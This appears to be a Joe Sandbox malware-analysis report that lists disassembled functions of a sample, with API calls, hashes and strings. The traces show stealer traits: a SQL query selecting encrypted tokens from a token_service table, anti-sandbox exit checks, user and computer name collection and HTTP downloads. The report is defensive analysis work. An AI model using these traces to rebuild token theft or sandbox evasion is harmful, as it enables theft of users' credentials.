Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 4f5860969e5b18518a636661d0ce547725e4b739390ebfc0856531ff3da67028
Instruction ID: 34dd343223b3aa049ea1ce3b003fe7bd5ade1c10b99dfaeb5e84662fd07334f4
Opcode Fuzzy Hash: 4f5860969e5b18518a636661d0ce547725e4b739390ebfc0856531ff3da67028
Instruction Fuzzy Hash: 294171F1D04258EBEB24DB94DC85BDEBBB8AB08700F100199F50967281D7786A44CFA6

Function 00734780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,016003F8,?,00000104,?,00000104,?,00000104,?,00000104), ref: 007347DB

Part of subcall function 00738DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00738E0B

lstrcatA.KERNEL32(?,00000000), ref: 00734801
lstrcatA.KERNEL32(?,?), ref: 00734820
lstrcatA.KERNEL32(?,?), ref: 00734834
lstrcatA.KERNEL32(?,015FB7D8), ref: 00734847
lstrcatA.KERNEL32(?,?), ref: 0073485B
lstrcatA.KERNEL32(?,01600F68), ref: 0073486F

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 00738D90: GetFileAttributesA.KERNEL32(00000000,?,00730117,?,00000000,?,00000000,00740DAB,00740DAA), ref: 00738D9F

Part of subcall function 00734570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00734580
Part of subcall function 00734570: HeapAlloc.KERNEL32(00000000), ref: 00734587
Part of subcall function 00734570: wsprintfA.USER32 ref: 007345A6
Part of subcall function 00734570: FindFirstFileA.KERNEL32(?,?), ref: 007345BD

Strings

0as, xrefs: 007348F9, 007348A1, 007348A4

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0as
API String ID: 167551676-1858094818
Opcode ID: c1fd39c8d6109f76fdf1373818b59ca3e50f52a7630143e33bccecfa067ec01d
Instruction ID: acf05abf2096daa63b1c4962b7a08520eb837406ad5700a1ae41a90f7a834a22
Opcode Fuzzy Hash: c1fd39c8d6109f76fdf1373818b59ca3e50f52a7630143e33bccecfa067ec01d
Instruction Fuzzy Hash: BD3155B2910318A7DB54F760DC89EED737CAB58700F404589B355A6082DEB8EB898F96

Function 00738100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,016001D0,00000000,?,00740E2C,00000000,?,00000000), ref: 00738130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,016001D0,00000000,?,00740E2C,00000000,?,00000000,00000000), ref: 00738137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00738158
__aulldiv.LIBCMT ref: 00738172
__aulldiv.LIBCMT ref: 00738180
wsprintfA.USER32 ref: 007381AC

Strings

@, xrefs: 0073814D
%d MB, xrefs: 007381A3

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: d760725e150facd7e1c994210bde6c317a5ac1af79c7298630552fe555225d70
Instruction ID: cdbdd0876bdabdd0fbf19855414c63015b80c463fc3353a34bd3cd3f98f5775c
Opcode Fuzzy Hash: d760725e150facd7e1c994210bde6c317a5ac1af79c7298630552fe555225d70
Instruction Fuzzy Hash: D5210BB1E44318ABEB10DFD4DD49FAEB7B8FB44B10F104509F605BB281D7B869018BA6

Function 0072BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 00729E10: memcmp.MSVCRT(?,v20,00000003), ref: 00729E2D

lstrlenA.KERNEL32(00000000), ref: 0072BC9F

Part of subcall function 00738E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00738E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0072BCCD
lstrlenA.KERNEL32(00000000), ref: 0072BDA5
lstrlenA.KERNEL32(00000000), ref: 0072BDB9

Strings

AccountTokens, xrefs: 0072BABA
AccountId, xrefs: 0072BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0072BBEB
AccountTokens, xrefs: 0072BB49

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 5a676d3873bad6e428486ddb8b43aa056c66f13f4431366e3082a08fa87f8059
Instruction ID: 85e640fb819b077c56d9f806cb24912061cdb260b0e4ca17917b3b560a5ed41b
Opcode Fuzzy Hash: 5a676d3873bad6e428486ddb8b43aa056c66f13f4431366e3082a08fa87f8059
Instruction Fuzzy Hash: 2FB12672910118FBEB05FBA0DD9BEEE7378AF54300F404168F54676192EF786A49CB62

Function 00724FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00724FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00724FD1
InternetOpenA.WININET(00740DDF,00000000,00000000,00000000,00000000), ref: 00724FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00725011
InternetReadFile.WININET(00735EDB,?,00000400,00000000), ref: 00725041
memcpy.MSVCRT(00000000,?,00000001), ref: 0072508A
InternetCloseHandle.WININET(00735EDB), ref: 007250B9
InternetCloseHandle.WININET(?), ref: 007250C6

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 4ce0bdc03159575171bc61b2cc94745e0267b11efbe5f26a66a289a477820def
Instruction ID: 29e8878aab669cd5d0026a702425a7f9396c0937a6dc9a4d76ef8309b11bca55
Opcode Fuzzy Hash: 4ce0bdc03159575171bc61b2cc94745e0267b11efbe5f26a66a289a477820def
Instruction Fuzzy Hash: 3131E4B4A00228ABDB20CF54DC85BDCB7B4FB48704F5081D9EB09B7281D7B46AC59F99

Function 007369F0 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2AB8), ref: 007398A1
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2B00), ref: 007398BA
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2DA0), ref: 007398D2
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2C68), ref: 007398EA
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2BD8), ref: 00739903
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F1498), ref: 0073991B
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015EAB90), ref: 00739933
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015EACB0), ref: 0073994C
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2C80), ref: 00739964
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2D70), ref: 0073997C
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2B18), ref: 00739995
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2C38), ref: 007399AD
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015EACF0), ref: 007399C5
Part of subcall function 00739860: GetProcAddress.KERNEL32(74DD0000,015F2D28), ref: 007399DE

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 007211D0: ExitProcess.KERNEL32 ref: 00721211

Part of subcall function 00721160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00736A17,00740AEF), ref: 0072116A
Part of subcall function 00721160: ExitProcess.KERNEL32 ref: 0072117E

Part of subcall function 00721110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00736A1C), ref: 0072112B
Part of subcall function 00721110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00736A1C), ref: 00721132
Part of subcall function 00721110: ExitProcess.KERNEL32 ref: 00721143

Part of subcall function 00721220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0072123E
Part of subcall function 00721220: __aulldiv.LIBCMT ref: 00721258
Part of subcall function 00721220: __aulldiv.LIBCMT ref: 00721266
Part of subcall function 00721220: ExitProcess.KERNEL32 ref: 00721294

Part of subcall function 00736770: GetUserDefaultLangID.KERNEL32(?,?,00736A26,00740AEF), ref: 00736774

GetUserDefaultLCID.KERNEL32 ref: 00736A26

Part of subcall function 00721190: ExitProcess.KERNEL32 ref: 007211C6

Part of subcall function 00737850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007211B7), ref: 00737880
Part of subcall function 00737850: HeapAlloc.KERNEL32(00000000,?,?,?,007211B7), ref: 00737887
Part of subcall function 00737850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0073789F

Part of subcall function 007378E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00736A2B), ref: 00737910
Part of subcall function 007378E0: HeapAlloc.KERNEL32(00000000,?,?,?,00736A2B), ref: 00737917
Part of subcall function 007378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0073792F

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,015F14B8,?,0074110C,?,00000000,?,00741110,?,00000000,00740AEF), ref: 00736ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00736AE8
CloseHandle.KERNEL32(00000000), ref: 00736AF9
Sleep.KERNEL32(00001770), ref: 00736B04
CloseHandle.KERNEL32(?,00000000,?,015F14B8,?,0074110C,?,00000000,?,00741110,?,00000000,00740AEF), ref: 00736B1A
ExitProcess.KERNEL32 ref: 00736B22

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: ed5cf0b2ba6044f1f5ff7c4e922c8b0ba374227a4993aa3424f08c41e8d87ac4
Instruction ID: 4713a53e7ae270c6a44c4e2069d315eac9e4dd47dabefa47043115aaf3912936
Opcode Fuzzy Hash: ed5cf0b2ba6044f1f5ff7c4e922c8b0ba374227a4993aa3424f08c41e8d87ac4
Instruction Fuzzy Hash: 2E310D71914218FAEB05F7F0DC5BBEE7778AF14340F504528F242A6193DF786905DAA2

Function 007383DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00738426
wsprintfA.USER32 ref: 00738459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0073847B
RegCloseKey.ADVAPI32(00000000), ref: 0073848C
RegCloseKey.ADVAPI32(00000000), ref: 00738499

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

RegQueryValueExA.KERNEL32(00000000,01600008,00000000,000F003F,?,00000400), ref: 007384EC
lstrlenA.KERNEL32(?), ref: 00738501
RegQueryValueExA.KERNEL32(00000000,016001A0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00740B34), ref: 00738599
RegCloseKey.KERNEL32(00000000), ref: 00738608
RegCloseKey.ADVAPI32(00000000), ref: 0073861A

Strings

%s\%s, xrefs: 0073844D

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: d9f0d0c88047f8395d0ab8c13229eb208e8b7d2f8ac8b4c63a22da7676037b4a
Instruction ID: 41fd434d6093d0a2b77f761c0c5b1d500fe37d74e5c2be0c700dc7618488bc6a
Opcode Fuzzy Hash: d9f0d0c88047f8395d0ab8c13229eb208e8b7d2f8ac8b4c63a22da7676037b4a
Instruction Fuzzy Hash: B62107B1914218ABEB64DF54DC85FE9B3B8FB48700F00C198E609A6141DF75AA85CFD5

Function 007247B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 007247EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00724818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00724839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00724849

Strings

<, xrefs: 007247C9

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
